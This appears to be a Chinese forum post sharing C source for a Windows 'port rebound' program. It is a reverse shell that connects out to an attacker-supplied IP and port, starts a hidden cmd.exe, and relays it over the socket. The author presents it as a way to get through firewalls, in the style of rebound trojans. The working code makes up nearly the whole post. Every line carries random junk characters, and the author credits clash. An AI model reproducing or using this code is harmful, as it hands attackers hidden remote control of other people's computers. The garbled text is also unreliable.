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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lA/-fUA  
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/* ============================== URbB2 Bi  
Rebound port in Windows NT Jx}-Y* o  
By wind,2006/7 j_<!y(W  
===============================*/ ysIhUpd  
#include aHpZhR| f$  
#include m26YAcip}  
+>!nqp  
#pragma comment(lib,"wsock32.lib") N AY3.e  
u?dPCgs;h  
void OutputShell(); U 887@-!3  
SOCKET sClient; 3Xd:LDZ{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3Z*o5@RI  
{CBb^BP  
void main(int argc,char **argv) J9]cs?`)  
{ <anKw|  
WSADATA stWsaData; -40X3  
int nRet; _~\ } fY  
SOCKADDR_IN stSaiClient,stSaiServer; HNBmq>XDc  
&b5(Su  
if(argc != 3) 0^o/c SF  
{ W~D_+[P|_  
printf("Useage:\n\rRebound DestIP DestPort\n"); u|Mx}  
return; +D]raU  
} [{u3g4`}  
v7./u4S|V  
WSAStartup(MAKEWORD(2,2),&stWsaData); v]F4o1ckk  
t4v'X}7q]  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bz-jy.  
v=lW5%r,'  
stSaiClient.sin_family = AF_INET; H~Vf;k>  
stSaiClient.sin_port = htons(0); 6V JudNA  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $'Mf$h  
s*yl& El/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +#BOWz  
{ _r\M}lDh*  
printf("Bind Socket Failed!\n"); QNU~G3  
return; Sm4BZF~!B  
}  ]gcOMC  
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stSaiServer.sin_family = AF_INET; EXVZ?NG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ll X `  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?%Nh4+3N>  
`DgK$QM  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~BJE~  
{ Pm/i,T6&\  
printf("Connect Error!"); *4`5&) `  
return; AK&>3D  
} J$1H3#VV G  
OutputShell(); \b(&-=(  
} Ta?}n^V?;  
N2A6C$s  
void OutputShell() -W('^v_*  
{ ;;+AdN5  
char szBuff[1024]; ;j1E6  
SECURITY_ATTRIBUTES stSecurityAttributes; `<se&IZE  
OSVERSIONINFO stOsversionInfo; ~d]v{<3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SU~.baP?  
STARTUPINFO stStartupInfo; ~i%=1&K&`  
char *szShell; &U]/SFY  
PROCESS_INFORMATION stProcessInformation; #Iz)Mu  
unsigned long lBytesRead; J}xM+l7uY  
HBE[q#  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "*t6KXVaM  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A<)n H=G&  
stSecurityAttributes.lpSecurityDescriptor = 0; '_.qhsS  
stSecurityAttributes.bInheritHandle = TRUE; pz['o  
/CsP@f_Gw  
zQY ,}a  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1;=L] L?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %mT/y%&:  
3jxC}xz)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g3NUw/]#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %w65)BFQ  
stStartupInfo.wShowWindow = SW_HIDE; L>sLb(2\i  
stStartupInfo.hStdInput = hReadPipe; nI6ompTX  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !mUJ["#  
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GetVersionEx(&stOsversionInfo); PtW2S 1?j  
m#RJRuZ|2V  
switch(stOsversionInfo.dwPlatformId) `K.B`  
{ (Fzy8 s  
case 1: 96V8R<   
szShell = "command.com"; 'A:Y&w"r  
break; :\"0jQ.y|  
default: )f:i4.M  
szShell = "cmd.exe"; 2\1+M)  
break; /&#y-D_  
} I{(!h90  
`~u=[}w  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cHFW"g78  
) >FAtE   
send(sClient,szMsg,77,0); ~-7/9$ay5  
while(1) Ex p ?x  
{ {\1bWr8!U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); = exCpW>  
if(lBytesRead) e*}zl>f  
{ Ie^Ed`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'D5J5+.z  
send(sClient,szBuff,lBytesRead,0); :zKW[sF  
}  1}=D  
else T"Y#u  
{ ru eaP  
lBytesRead=recv(sClient,szBuff,1024,0); "{D/a7]lC  
if(lBytesRead<=0) break; $oQOOa@;i)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); J2VPOn  
} #2_FM!e  
} u5}:[4N%I  
]ouoRlb/  
return; u$aK19K/  
}
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